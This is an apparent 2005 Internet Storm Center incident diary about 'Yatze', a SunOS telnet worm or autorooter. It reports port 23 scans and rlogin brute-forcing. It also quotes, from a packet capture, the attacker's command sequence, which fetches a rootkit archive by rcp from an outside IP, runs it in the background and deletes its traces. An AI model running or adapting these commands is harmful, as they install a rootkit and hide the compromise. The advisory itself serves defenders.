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Yatze telnet worm; InfoCon update; rlogin link to telnet maybe?

Published: 2005-03-26
Last Updated: 2005-03-26 21:30:18 UTC
by donald smith (Version: 1)
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SunOS telnet worm on the loose Watch ports 23, 513 and 514

The telnet port(23) is being targeted and rcp is the download port(514)

used to grab the worm/autorooter kit via rcp.


We have received several reports of what appears to be a telnet negotiation
exploit with autorooter or worm like qualities.

Further reports shows many of the hosts being reported for telnet scans

are also being reported for a rlogin bruteforce on port 513

It was reported that the probes for port 23 began on 03/20/2005

Looking at isc.sans.org shows 23 has been fairly active but the

number of targets had a large increase on 03/23/2005.

I pulled these commands from a user provide tcpdump file :


mkdir /tmp/.m ; cd /tmp/.m; echo /usr/bin/rcp
news@210.121.161.78:/usr/lib/.dl/rk/yatze-SunOS_`/usr/bin/uname -m`.tar . >mrun.sh

echo /usr/bin/tar -xvf yatze-SunOS_`/usr/bin/uname -m`.tar >>mrun.sh

echo cd rk \; /bin/sh go >>mrun.sh

echo cd / \; rm -rf /tmp/.m/\* \; rm -rf /tmp/.m >>mrun.sh

/usr/bin/nohup /bin/sh mrun.sh >/dev/null 2>/dev/null &
We have not gotten a copy of the actual worm/autorooter yet

If you have a copy we would like to analysis it
I looked at mynetwatchman.com most of the port 23 "violators"

are also showing up for attempting to bruteforce guess the password

on port 513 (rlogin).

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